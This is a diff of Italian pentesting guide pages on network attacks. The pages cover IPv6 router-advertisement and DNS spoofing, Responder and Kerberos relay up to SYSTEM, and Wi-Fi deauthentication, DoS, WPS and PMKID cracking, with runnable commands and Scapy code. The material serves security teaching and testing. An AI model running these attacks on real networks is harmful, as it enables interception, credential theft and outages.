**sslStrip o sslStrip+ non funzionano più. Questo perché ci sono regole HSTS pre-salvate nei browser, quindi anche se è la prima volta che un utente accede a un dominio "importante", vi accederà tramite HTTPS. Inoltre, nota che le regole pre-salvate e altre regole generate possono utilizzare il flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **quindi l'esempio di** _**wwww.facebook.com**_ **di prima non funzionerà più poiché** _**facebook.com**_ **usa HSTS con `includeSubdomains`.**
|
||||
|
||||
TODO: easy-creds, evilgrade, metasploit, factory
|
||||
|
||||
@ -738,7 +738,7 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI
|
||||
A volte, se il cliente verifica che il CA è valido, potresti **servire un certificato di un altro hostname firmato da un CA**.\
|
||||
Un altro test interessante è servire un **certificato dell'hostname richiesto ma auto-firmato**.
|
||||
|
||||
Altre cose da testare sono provare a firmare il certificato con un certificato valido che non è un CA valido. Oppure utilizzare la chiave pubblica valida, forzare l'uso di un algoritmo come diffie hellman (uno che non richiede di decrittare nulla con la vera chiave privata) e quando il cliente richiede una prova della vera chiave privata (come un hash) inviare una prova falsa e aspettarsi che il cliente non controlli questo.
|
||||
Altre cose da testare sono provare a firmare il certificato con un certificato valido che non è un CA valido. Oppure utilizzare la chiave pubblica valida, forzare l'uso di un algoritmo come diffie hellman (uno che non necessita di decrittare nulla con la vera chiave privata) e quando il cliente richiede una prova della vera chiave privata (come un hash) inviare una prova falsa e aspettarsi che il cliente non controlli questo.
|
||||
|
||||
## Bettercap
|
||||
```bash
|
||||
@ -797,7 +797,7 @@ Bettercap trasmette pacchetti SSDP cercando tutti i tipi di servizi (porta UDP 1
|
||||
Bettercap trasmette pacchetti WSD cercando servizi (porta UDP 3702).
|
||||
|
||||
|
||||
### Telecom / Mobile-Core (GTP) Sfruttamento
|
||||
### Sfruttamento Telecom / Mobile-Core (GTP)
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -807,7 +807,7 @@ telecom-network-exploitation.md
|
||||
## Riferimenti
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
- **Valutazione della Sicurezza della Rete: Conosci la Tua Rete (3a edizione)**
|
||||
- **Valutazione della Sicurezza della Rete: Conosci la Tua Rete (3ª edizione)**
|
||||
- **Hacking IoT Pratico: La Guida Definitiva per Attaccare l'Internet delle Cose. Di Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
|
||||
- [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
|
||||
@ -19,8 +19,8 @@ Mentre l'IPv6 omette il protocollo ARP presente nell'IPv4, introduce **ICMPv6**
|
||||
|
||||
L'IPv6 incorpora anche tipi di indirizzi speciali:
|
||||
|
||||
- **Indirizzo di loopback (`::1`)**: Equivalente a `127.0.0.1` di IPv4, per la comunicazione interna all'interno dell'host.
|
||||
- **Indirizzi link-local (`FE80::/10`)**: Per attività di rete locali, non per il routing su Internet. I dispositivi sulla stessa rete locale possono scoprire l'uno l'altro utilizzando questo intervallo.
|
||||
- **Indirizzo di loopback (`::1`)**: Equivalente a `127.0.0.1` di IPv4, per la comunicazione interna all'host.
|
||||
- **Indirizzi link-local (`FE80::/10`)**: Per attività di rete locali, non per il routing su internet. I dispositivi sulla stessa rete locale possono scoprire l'uno l'altro utilizzando questo intervallo.
|
||||
|
||||
### Utilizzo pratico dell'IPv6 nei comandi di rete
|
||||
|
||||
@ -52,7 +52,7 @@ Dato un indirizzo MAC **`12:34:56:78:9a:bc`**, puoi costruire l'indirizzo IPv6 L
|
||||
|
||||
- **Unique Local Address (ULA)**: Per comunicazioni locali, non destinato al routing su internet pubblico. Prefisso: **`FEC00::/7`**
|
||||
- **Multicast Address**: Per comunicazione uno-a-molti. Consegnato a tutte le interfacce nel gruppo multicast. Prefisso: **`FF00::/8`**
|
||||
- **Anycast Address**: Per comunicazione uno-a-più-vicino. Inviato all'interfaccia più vicina secondo il protocollo di routing. Parte del range globale unicast **`2000::/3`**.
|
||||
- **Anycast Address**: Per comunicazione uno-a-più-vicina. Inviato all'interfaccia più vicina secondo il protocollo di routing. Parte dell'intervallo globale unicast **`2000::/3`**.
|
||||
|
||||
### **Prefissi degli indirizzi**
|
||||
|
||||
@ -77,7 +77,7 @@ service ufw stop # Stop the firewall
|
||||
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
|
||||
ip -6 neigh # Display the neighbor table
|
||||
```
|
||||
### Attacchi Man-in-the-Middle (MitM) su IPv6
|
||||
### Attacchi Man-in-the-Middle (MitM) IPv6
|
||||
|
||||
Esistono diverse tecniche per eseguire attacchi MitM nelle reti IPv6, come:
|
||||
|
||||
@ -90,7 +90,7 @@ Esistono diverse tecniche per eseguire attacchi MitM nelle reti IPv6, come:
|
||||
|
||||
### Esplorazione dei Sottodomini
|
||||
|
||||
Un metodo per trovare sottodomini che sono potenzialmente collegati a indirizzi IPv6 implica l'uso di motori di ricerca. Ad esempio, utilizzare un modello di query come `ipv6.*` può essere efficace. In particolare, il seguente comando di ricerca può essere utilizzato in Google:
|
||||
Un metodo per trovare sottodomini che sono potenzialmente collegati a indirizzi IPv6 implica l'uso di motori di ricerca. Ad esempio, impiegare un modello di query come `ipv6.*` può essere efficace. In particolare, il seguente comando di ricerca può essere utilizzato in Google:
|
||||
```bash
|
||||
site:ipv6./
|
||||
```
|
||||
@ -128,7 +128,7 @@ sudo sysctl -w net.ipv4.tcp_tw_reuse=1
|
||||
```
|
||||
### Sniffing passivo NDP & DHCPv6
|
||||
|
||||
Poiché ogni host IPv6 **si unisce automaticamente a più gruppi multicast** (`ff02::1`, `ff02::2`, …) e parla ICMPv6 per SLAAC/NDP, puoi mappare l'intero segmento senza inviare un singolo pacchetto. La seguente riga di codice Python/Scapy ascolta i messaggi L2 più interessanti e stampa un log colorato e timestampato di chi è chi:
|
||||
Poiché ogni host IPv6 **si unisce automaticamente a più gruppi multicast** (`ff02::1`, `ff02::2`, …) e utilizza ICMPv6 per SLAAC/NDP, puoi mappare l'intero segmento senza inviare un singolo pacchetto. La seguente riga di codice Python/Scapy ascolta i messaggi L2 più interessanti e stampa un log colorato e timestampato di chi è chi:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
@ -232,7 +232,7 @@ sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||||
| Flag | Significato | Effetto sul Comportamento del Client |
|
||||
|------|-------------|--------------------------------------|
|
||||
| **M (Managed Address Configuration)** | Quando impostato su `1`, l'host DEVE utilizzare **DHCPv6** per ottenere il proprio indirizzo IPv6. | L'intero indirizzamento proviene da DHCPv6 – perfetto per il poisoning in stile *mitm6*. |
|
||||
| **O (Other Configuration)** | Quando impostato su `1`, l'host dovrebbe utilizzare **DHCPv6** solo per ottenere informazioni *altre* (DNS, NTP, …). | Indirizzo ancora tramite SLAAC, ma il DNS può essere dirottato con DHCPv6. |
|
||||
| **O (Other Configuration)** | Quando impostato su `1`, l'host dovrebbe utilizzare **DHCPv6** solo per ottenere *altre* informazioni (DNS, NTP, …). | Indirizzo ancora tramite SLAAC, ma il DNS può essere dirottato con DHCPv6. |
|
||||
| **M=0 / O=0** | Rete puramente SLAAC. | Solo trucchi RA / RDNSS sono possibili – DHCPv6 non sarà inviato dai client. |
|
||||
| **M=1 / O=1** | Ambiente misto. | Sia DHCPv6 che SLAAC sono utilizzati; la superficie per lo spoofing è la più grande. |
|
||||
|
||||
@ -248,13 +248,13 @@ Il campo **Prf** (Router Preference) all'interno dell'intestazione RA controlla
|
||||
|------------|---------|-------------|
|
||||
| **Alto** | `10` | I client preferiscono questo router rispetto a qualsiasi router *Medio*/*Basso* |
|
||||
| Medio (predefinito) | `01` | Utilizzato da quasi tutti i dispositivi legittimi |
|
||||
| Basso | `00` | Scelto solo quando non esiste un router migliore |
|
||||
| Basso | `00` | Scelto solo quando non esiste un router migliore |
|
||||
|
||||
Quando generi il pacchetto con Scapy puoi impostarlo tramite il parametro `prf` come mostrato sopra (`prf=0x1` → Alto). Combinare **Alto Prf**, un **intervallo breve** e una **durata non zero** rende il tuo gateway rogue notevolmente stabile.
|
||||
Quando generi il pacchetto con Scapy puoi impostarlo tramite il parametro `prf` come mostrato sopra (`prf=0x1` → Alto). Combinare **Alto Prf**, un **breve intervallo** e una **durata non zero** rende il tuo gateway rogue notevolmente stabile.
|
||||
|
||||
---
|
||||
|
||||
### Spoofing RDNSS (DNS) tramite RA
|
||||
### RDNSS (DNS) Spoofing tramite RA
|
||||
|
||||
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) consente di aggiungere un'opzione **Recursive DNS Server (RDNSS)** all'interno di un RA. I moderni sistemi operativi (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) si fidano automaticamente di esso:
|
||||
```python
|
||||
@ -298,13 +298,13 @@ sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
|
||||
* Disabilitare IPv6 sugli endpoint è una soluzione temporanea che spesso interrompe i servizi moderni e nasconde punti ciechi – preferire invece il filtraggio L2.
|
||||
|
||||
|
||||
### Scoperta del Router NDP su SSID Guest/Public e Esposizione del Servizio di Gestione
|
||||
### Scoperta Router NDP su SSID Guest/Pubblici e Esposizione del Servizio di Gestione
|
||||
|
||||
Molti router consumer espongono demoni di gestione (HTTP(S), SSH/Telnet, TR-069, ecc.) su tutte le interfacce. In alcune implementazioni, l'SSID "guest/public" è collegato al WAN/core ed è solo IPv6. Anche se l'IPv6 del router cambia ad ogni avvio, puoi apprenderlo in modo affidabile utilizzando NDP/ICMPv6 e poi connetterti direttamente al piano di gestione dall'SSID guest.
|
||||
Molti router consumer espongono demoni di gestione (HTTP(S), SSH/Telnet, TR-069, ecc.) su tutte le interfacce. In alcune implementazioni, l'SSID "guest/pubblico" è collegato al WAN/core ed è solo IPv6. Anche se l'IPv6 del router cambia ad ogni avvio, puoi apprenderlo in modo affidabile utilizzando NDP/ICMPv6 e poi connetterti direttamente al piano di gestione dall'SSID guest.
|
||||
|
||||
Flusso di lavoro tipico da un client connesso all'SSID guest/public:
|
||||
Flusso di lavoro tipico da un client connesso all'SSID guest/pubblico:
|
||||
|
||||
1) Scoprire il router tramite ICMPv6 Router Solicitation al multicast di tutti i router `ff02::2` e catturare il Router Advertisement (RA):
|
||||
1) Scoprire il router tramite ICMPv6 Router Solicitation al multicast All-Routers `ff02::2` e catturare il Router Advertisement (RA):
|
||||
```bash
|
||||
# Listen for Router Advertisements (ICMPv6 type 134)
|
||||
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'
|
||||
@ -331,7 +331,7 @@ curl -g -6 -k 'http://[2001:db8:abcd::1]/'
|
||||
# Fast IPv6 service sweep
|
||||
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
|
||||
```
|
||||
3) Se la shell di gestione fornisce strumenti di cattura pacchetti tramite un wrapper (ad es., tcpdump), controlla per iniezione di argomenti/nome file che consenta di passare flag tcpdump extra come `-G/-W/-z` per ottenere l'esecuzione di comandi post-rotate. Vedi:
|
||||
3) Se la shell di gestione fornisce strumenti di cattura pacchetti tramite un wrapper (ad es., tcpdump), controlla l'iniezione di argomenti/nome file che consente di passare flag tcpdump extra come `-G/-W/-z` per ottenere l'esecuzione di comandi post-rotate. Vedi:
|
||||
|
||||
{{#ref}}
|
||||
../../linux-hardening/privilege-escalation/wildcards-spare-tricks.md
|
||||
@ -339,7 +339,7 @@ nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
|
||||
|
||||
Difese/osservazioni:
|
||||
|
||||
- Non legare la gestione a bridge guest/pubblici; applicare firewall IPv6 sui bridge SSID.
|
||||
- Non collegare la gestione a bridge guest/pubblici; applicare firewall IPv6 sui bridge SSID.
|
||||
- Limitare il rate e filtrare NDP/RS/RA sui segmenti guest dove possibile.
|
||||
- Per i servizi che devono essere raggiungibili, applicare authN/MFA e forti limiti di rate.
|
||||
|
||||
|
||||
@ -10,12 +10,12 @@
|
||||
- Microsoft e altri sistemi operativi utilizzano LLMNR e NBT-NS per la risoluzione dei nomi locali quando DNS fallisce. Allo stesso modo, i sistemi Apple e Linux utilizzano mDNS.
|
||||
- Questi protocolli sono suscettibili a intercettazioni e spoofing a causa della loro natura non autenticata e broadcast su UDP.
|
||||
- [Responder](https://github.com/lgandx/Responder) può essere utilizzato per impersonare servizi inviando risposte falsificate agli host che interrogano questi protocolli.
|
||||
- Ulteriori informazioni sull' impersonificazione dei servizi utilizzando Responder possono essere trovate [qui](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
- Ulteriori informazioni sull'impersonificazione dei servizi utilizzando Responder possono essere trovate [qui](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### Protocollo di Scoperta Automatica del Proxy Web (WPAD)
|
||||
|
||||
- WPAD consente ai browser di scoprire automaticamente le impostazioni del proxy.
|
||||
- La scoperta è facilitata tramite DHCP, DNS, o un fallback a LLMNR e NBT-NS se DNS fallisce.
|
||||
- La scoperta è facilitata tramite DHCP, DNS o un fallback a LLMNR e NBT-NS se DNS fallisce.
|
||||
- Responder può automatizzare gli attacchi WPAD, indirizzando i client a server WPAD malevoli.
|
||||
|
||||
### Responder per il Veleno dei Protocolli
|
||||
@ -31,7 +31,7 @@
|
||||
- Per eseguire Responder con impostazioni predefinite: `responder -I <Interface>`
|
||||
- Per un probing più aggressivo (con potenziali effetti collaterali): `responder -I <Interface> -P -r -v`
|
||||
- Tecniche per catturare le sfide/riposte NTLMv1 per una cracking più semplice: `responder -I <Interface> --lm --disable-ess`
|
||||
- L' impersonificazione WPAD può essere attivata con: `responder -I <Interface> --wpad`
|
||||
- L'impersonificazione WPAD può essere attivata con: `responder -I <Interface> --wpad`
|
||||
- Le richieste NetBIOS possono essere risolte all'IP dell'attaccante, e un proxy di autenticazione può essere impostato: `responder.py -I <interface> -Pv`
|
||||
|
||||
### Avvelenamento DHCP con Responder
|
||||
@ -91,7 +91,7 @@ beacon> socks stop
|
||||
|
||||
- **Metasploit**: Configurato con proxy, dettagli degli host locali e remoti.
|
||||
- **smbrelayx**: Uno script Python per il relay delle sessioni SMB ed esecuzione di comandi o distribuzione di backdoor.
|
||||
- **MultiRelay**: Uno strumento della suite Responder per relay di utenti specifici o di tutti gli utenti, esecuzione di comandi o dumping di hash.
|
||||
- **MultiRelay**: Uno strumento della suite Responder per fare relay di utenti specifici o di tutti gli utenti, eseguire comandi o dumpare hash.
|
||||
|
||||
Ogni strumento può essere configurato per operare attraverso un proxy SOCKS se necessario, abilitando attacchi anche con accesso indiretto alla rete.
|
||||
|
||||
@ -140,7 +140,7 @@ Per informazioni dettagliate su questo attacco controlla:
|
||||
|
||||
- 2. **Cosa deve essere vero per relay Kerberos**
|
||||
|
||||
1. **Chiave condivisa:** gli SPN sorgente e target appartengono allo stesso account computer (predefinito sui server Windows).
|
||||
1. **Chiave condivisa:** gli SPN di origine e di destinazione appartengono allo stesso account computer (predefinito sui server Windows).
|
||||
2. **Nessuna protezione del canale:** SMB/LDAP disattivato e EPA disattivato per HTTP/LDAPS.
|
||||
3. **Puoi intercettare o costringere l'autenticazione:** avvelenamento LLMNR/NBNS, spoofing DNS, **PetitPotam / DFSCoerce RPC**, AuthIP falso, DCOM rogue, ecc..
|
||||
4. **Fonte del ticket non già utilizzata:** vinci la corsa prima che il pacchetto reale arrivi o bloccalo completamente; altrimenti la cache di riproduzione del server attiva l'Evento 4649.
|
||||
@ -162,18 +162,18 @@ Select Name,servicePrincipalName
|
||||
# one-click local SYSTEM via RBCD
|
||||
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
|
||||
```
|
||||
`KrbRelayUp` avvolge **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** in un unico binario.
|
||||
`KrbRelayUp` avvolge **KrbRelay → LDAP → RBCD → Rubeus → bypass SCM** in un unico binario.
|
||||
|
||||
- 3.3 **Costringere l'autenticazione Kerberos**
|
||||
```powershell
|
||||
# coerce DC to auth over SMB with DFSCoerce
|
||||
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
|
||||
```
|
||||
DFSCoerce fa sì che il DC ci invii un biglietto Kerberos `CIFS/DC01`.
|
||||
DFSCoerce fa sì che il DC ci invii un ticket Kerberos `CIFS/DC01`.
|
||||
|
||||
- 3.4 **Ritrasmettere l'AP-REQ**
|
||||
|
||||
KrbRelay estrae il blob GSS da SMB, lo rimodella in un bind LDAP e lo inoltra a `ldap://DC01`—l'autenticazione ha successo perché la **stessa chiave** lo decripta.
|
||||
KrbRelay estrae il blob GSS da SMB, lo ripacchetta in un bind LDAP e lo inoltra a `ldap://DC01`—l'autenticazione ha successo perché la **stessa chiave** lo decripta.
|
||||
|
||||
- 3.5 **Abuso di LDAP ➜ RBCD ➜ SYSTEM**
|
||||
```powershell
|
||||
@ -189,7 +189,7 @@ You now own **NT AUTHORITY\SYSTEM**.
|
||||
### **Altri percorsi da conoscere**
|
||||
|
||||
| Vettore | Trucco | Perché è importante |
|
||||
|---------|--------|---------------------|
|
||||
|--------|-------|----------------|
|
||||
| **AuthIP / IPSec** | Server falso invia un **payload GSS-ID** con qualsiasi SPN; il client costruisce un AP-REQ direttamente a te | Funziona anche attraverso sottoreti; credenziali macchina per impostazione predefinita |
|
||||
| **DCOM / MSRPC** | Risolutore OXID malevolo costringe il client ad autenticarsi su SPN e porta arbitrari | Priv-esc *locale* puro; elude il firewall |
|
||||
| **AD CS Web Enroll** | Inoltra il ticket della macchina a `HTTP/CA` e ottieni un certificato, poi **PKINIT** per coniare TGT | Elude le difese di firma LDAP |
|
||||
@ -198,7 +198,7 @@ You now own **NT AUTHORITY\SYSTEM**.
|
||||
### **Risoluzione dei problemi**
|
||||
|
||||
| Errore | Significato | Correzione |
|
||||
|--------|-------------|------------|
|
||||
|-------|---------|-----|
|
||||
| `KRB_AP_ERR_MODIFIED` | Chiave del ticket ≠ chiave di destinazione | Host/SPN errato |
|
||||
| `KRB_AP_ERR_SKEW` | Orologio > 5 min di offset | Sincronizza l'ora o usa `w32tm` |
|
||||
| Il bind LDAP fallisce | Firma forzata | Usa il percorso AD CS o disabilita la firma |
|
||||
|
||||
@ -66,10 +66,10 @@ Questo strumento automatizza gli attacchi **WPS/WEP/WPA-PSK**. Esso automaticame
|
||||
- Scansiona per possibili reti - E ti consente di selezionare la vittima/e
|
||||
- Se WEP - Lancia attacchi WEP
|
||||
- Se WPA-PSK
|
||||
- Se WPS: attacco Pixie dust e attacco di brute-force (fai attenzione, l'attacco di brute-force potrebbe richiedere molto tempo). Nota che non prova PIN nulli o PIN generati/database.
|
||||
- Se WPS: attacco Pixie dust e attacco di bruteforce (fai attenzione, l'attacco di bruteforce potrebbe richiedere molto tempo). Nota che non prova PIN nulli o PIN generati/database.
|
||||
- Prova a catturare il PMKID dall'AP per decifrarlo
|
||||
- Prova a disautenticare i client dell'AP per catturare un handshake
|
||||
- Se PMKID o Handshake, prova a fare brute-force usando le prime 5000 password.
|
||||
- Se PMKID o Handshake, prova a bruteforce usando le prime 5000 password.
|
||||
|
||||
## Riepilogo Attacchi
|
||||
|
||||
@ -83,7 +83,7 @@ Questo strumento automatizza gli attacchi **WPS/WEP/WPA-PSK**. Esso automaticame
|
||||
- Cracking **WEP** (diversi strumenti e metodi)
|
||||
- **WPA-PSK**
|
||||
- **WPS** pin "Brute-Force"
|
||||
- **WPA PMKID** brute-force
|
||||
- **WPA PMKID** bruteforce
|
||||
- \[DoS +] **cattura handshake WPA** + Cracking
|
||||
- **WPA-MGT**
|
||||
- **Cattura Nome Utente**
|
||||
@ -111,12 +111,12 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
|
||||
- -0 significa deautenticazione
|
||||
- 1 è il numero di deautenticazioni da inviare (puoi inviarne più di una se lo desideri); 0 significa inviarle continuamente
|
||||
- -a 00:14:6C:7E:40:80 è l'indirizzo MAC del punto di accesso
|
||||
- -c 00:0F:B5:34:30:30 è l'indirizzo MAC del client da deautenticare; se questo è omesso, viene inviata una deautenticazione in broadcast (non sempre funziona)
|
||||
- -c 00:0F:B5:34:30:30 è l'indirizzo MAC del client da deautenticare; se questo è omesso, viene inviata una deautenticazione broadcast (non sempre funziona)
|
||||
- ath0 è il nome dell'interfaccia
|
||||
|
||||
### Pacchetti di Disassociazione
|
||||
|
||||
**I pacchetti di disassociazione**, simili ai pacchetti di deautenticazione, sono un tipo di frame di gestione utilizzato nelle reti Wi-Fi. Questi pacchetti servono a interrompere la connessione tra un dispositivo (come un laptop o uno smartphone) e un punto di accesso (AP). La principale distinzione tra disassociazione e deautenticazione risiede nei loro scenari di utilizzo. Mentre un AP emette **pacchetti di deautenticazione per rimuovere esplicitamente i dispositivi non autorizzati dalla rete, i pacchetti di disassociazione vengono tipicamente inviati quando l'AP è in fase di spegnimento**, riavvio o spostamento, rendendo necessaria la disconnessione di tutti i nodi connessi.
|
||||
**I pacchetti di disassociazione**, simili ai pacchetti di deautenticazione, sono un tipo di frame di gestione utilizzato nelle reti Wi-Fi. Questi pacchetti servono a interrompere la connessione tra un dispositivo (come un laptop o uno smartphone) e un punto di accesso (AP). La principale distinzione tra disassociazione e deautenticazione risiede nei loro scenari d'uso. Mentre un AP emette **pacchetti di deautenticazione per rimuovere esplicitamente i dispositivi non autorizzati dalla rete, i pacchetti di disassociazione vengono tipicamente inviati quando l'AP è in fase di spegnimento**, riavvio o spostamento, rendendo necessaria la disconnessione di tutti i nodi connessi.
|
||||
|
||||
**Questo attacco può essere eseguito da mdk4(mode "d"):**
|
||||
```bash
|
||||
@ -133,7 +133,7 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
|
||||
|
||||
**MODALITÀ D'ATTACCO b: Inondazione di Beacon**
|
||||
|
||||
Invia frame beacon per mostrare AP falsi ai client. Questo può a volte far crashare gli scanner di rete e persino i driver!
|
||||
Invia frame beacon per mostrare AP falsi ai client. Questo può a volte far crashare scanner di rete e persino driver!
|
||||
```bash
|
||||
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
|
||||
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
|
||||
@ -141,9 +141,9 @@ Invia frame beacon per mostrare AP falsi ai client. Questo può a volte far cras
|
||||
# All the parameters are optional and you could load ESSIDs from a file
|
||||
mdk4 wlan0mon b -a -w nta -m
|
||||
```
|
||||
**MODALITÀ D'ATTACCO a: Denial-Of-Service di Autenticazione**
|
||||
**ATTACK MODE a: Denial-of-Service di Autenticazione**
|
||||
|
||||
Inviare frame di autenticazione a tutti i punti di accesso (AP) accessibili entro portata può sovraccaricare questi AP, specialmente quando sono coinvolti numerosi client. Questo traffico intenso può portare a instabilità del sistema, causando il blocco o persino il ripristino di alcuni AP.
|
||||
Inviare frame di autenticazione a tutti i Access Points (AP) accessibili entro portata può sovraccaricare questi AP, specialmente quando sono coinvolti numerosi client. Questo traffico intenso può portare a instabilità del sistema, causando il blocco o persino il riavvio di alcuni AP.
|
||||
```bash
|
||||
# -a BSSID send random data from random clients to try the DoS
|
||||
# -i BSSID capture and repeat pakets from authenticated clients
|
||||
@ -157,7 +157,7 @@ Il probing degli Access Points (AP) verifica se un SSID è correttamente rivelat
|
||||
|
||||
**ATTACK MODE m: Michael Countermeasures Exploitation**
|
||||
|
||||
Inviare pacchetti casuali o duplicati a diverse code QoS può attivare le contromisure Michael su **TKIP AP**, portando a un'interruzione dell'AP di un minuto. Questo metodo è una tattica efficiente di attacco **DoS** (Denial of Service).
|
||||
Inviare pacchetti casuali o duplicati a diverse code QoS può attivare le contromisure Michael su **TKIP AP**, portando a un arresto dell'AP di un minuto. Questo metodo è una tattica efficiente di attacco **DoS** (Denial of Service).
|
||||
```bash
|
||||
# -t <BSSID> of a TKIP AP
|
||||
# -j use inteligent replay to create the DoS
|
||||
@ -172,7 +172,7 @@ mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
|
||||
```
|
||||
**ATTACK MODE s: Attacchi per reti mesh IEEE 802.11s**
|
||||
|
||||
Vari attacchi alla gestione dei link e al routing nelle reti mesh.
|
||||
Vari attacchi sulla gestione dei link e sul routing nelle reti mesh.
|
||||
|
||||
**ATTACK MODE w: Confusione WIDS**
|
||||
|
||||
@ -200,7 +200,7 @@ WPS (Wi-Fi Protected Setup) semplifica il processo di connessione dei dispositiv
|
||||
Ci sono 2 strumenti principali per eseguire questa azione: Reaver e Bully.
|
||||
|
||||
- **Reaver** è stato progettato per essere un attacco robusto e pratico contro WPS, ed è stato testato contro una vasta gamma di punti di accesso e implementazioni WPS.
|
||||
- **Bully** è una **nuova implementazione** dell'attacco di forza bruta WPS, scritto in C. Ha diversi vantaggi rispetto al codice reaver originale: meno dipendenze, prestazioni migliorate di memoria e CPU, gestione corretta dell'endianness e un insieme di opzioni più robusto.
|
||||
- **Bully** è una **nuova implementazione** dell'attacco di forza bruta WPS, scritto in C. Ha diversi vantaggi rispetto al codice reaver originale: meno dipendenze, prestazioni migliorate in memoria e CPU, gestione corretta dell'endianness e un insieme di opzioni più robusto.
|
||||
|
||||
L'attacco sfrutta la **vulnerabilità del PIN WPS**, in particolare la sua esposizione delle prime quattro cifre e il ruolo dell'ultima cifra come checksum, facilitando l'attacco di forza bruta. Tuttavia, le difese contro gli attacchi di forza bruta, come **il blocco degli indirizzi MAC** degli aggressori, richiedono **la rotazione degli indirizzi MAC** per continuare l'attacco.
|
||||
|
||||
@ -214,7 +214,7 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
|
||||
Questo approccio raffinato mira ai PIN WPS utilizzando vulnerabilità conosciute:
|
||||
|
||||
1. **PIN pre-scoperti**: Utilizza un database di PIN noti collegati a specifici produttori noti per utilizzare PIN WPS uniformi. Questo database correla i primi tre ottetti degli indirizzi MAC con i PIN probabili per questi produttori.
|
||||
2. **Algoritmi di generazione del PIN**: Sfrutta algoritmi come ComputePIN ed EasyBox, che calcolano i PIN WPS basati sull'indirizzo MAC dell'AP. L'algoritmo Arcadyan richiede inoltre un ID dispositivo, aggiungendo un ulteriore livello al processo di generazione del PIN.
|
||||
2. **Algoritmi di generazione del PIN**: Sfrutta algoritmi come ComputePIN e EasyBox, che calcolano i PIN WPS basati sull'indirizzo MAC dell'AP. L'algoritmo Arcadyan richiede inoltre un ID dispositivo, aggiungendo un ulteriore livello al processo di generazione del PIN.
|
||||
|
||||
### Attacco WPS Pixie Dust
|
||||
|
||||
@ -271,7 +271,7 @@ PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
|
||||
```
|
||||
Dato che il "Nome PMK" è costante, conosciamo il BSSID dell'AP e della stazione, e il `PMK` è identico a quello di un completo handshake a 4 vie, **hashcat** può utilizzare queste informazioni per decifrare il PSK e recuperare la passphrase!
|
||||
|
||||
Per **raccogliere** queste informazioni e **bruteforare** localmente la password puoi fare:
|
||||
Per **raccogliere** queste informazioni e **bruteforzare** localmente la password puoi fare:
|
||||
```bash
|
||||
airmon-ng check kill
|
||||
airmon-ng start wlan0
|
||||
@ -304,14 +304,14 @@ _Ho notato che alcuni handshake catturati con questo strumento non potevano esse
|
||||
|
||||
### Cattura dell'handshake
|
||||
|
||||
Un attacco alle reti **WPA/WPA2** può essere eseguito catturando un **handshake** e tentando di **crackare** la password **offline**. Questo processo implica il monitoraggio della comunicazione di una rete specifica e del **BSSID** su un **canale** particolare. Ecco una guida semplificata:
|
||||
Un attacco a reti **WPA/WPA2** può essere eseguito catturando un **handshake** e tentando di **crackare** la password **offline**. Questo processo implica il monitoraggio della comunicazione di una rete specifica e del **BSSID** su un **canale** particolare. Ecco una guida semplificata:
|
||||
|
||||
1. Identificare il **BSSID**, il **canale** e un **client connesso** della rete target.
|
||||
2. Utilizzare `airodump-ng` per monitorare il traffico di rete sul canale e BSSID specificati, sperando di catturare un handshake. Il comando apparirà così:
|
||||
```bash
|
||||
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
|
||||
```
|
||||
3. Per aumentare la possibilità di catturare un handshake, disconnetti momentaneamente il client dalla rete per forzare una re-autenticazione. Questo può essere fatto utilizzando il comando `aireplay-ng`, che invia pacchetti di deautenticazione al client:
|
||||
3. Per aumentare la possibilità di catturare un handshake, disconnetti momentaneamente il client dalla rete per forzare una nuova autenticazione. Questo può essere fatto utilizzando il comando `aireplay-ng`, che invia pacchetti di disautenticazione al client:
|
||||
```bash
|
||||
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
|
||||
```
|
||||
@ -353,7 +353,7 @@ In **configurazioni WiFi aziendali, incontrerai vari metodi di autenticazione**,
|
||||
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
|
||||
```
|
||||
1. **EAP-GTC (Generic Token Card)**:
|
||||
- Questo metodo supporta i token hardware e le password monouso all'interno di EAP-PEAP. A differenza di MSCHAPv2, non utilizza una sfida tra pari e invia le password in chiaro al punto di accesso, ponendo un rischio per attacchi di downgrade.
|
||||
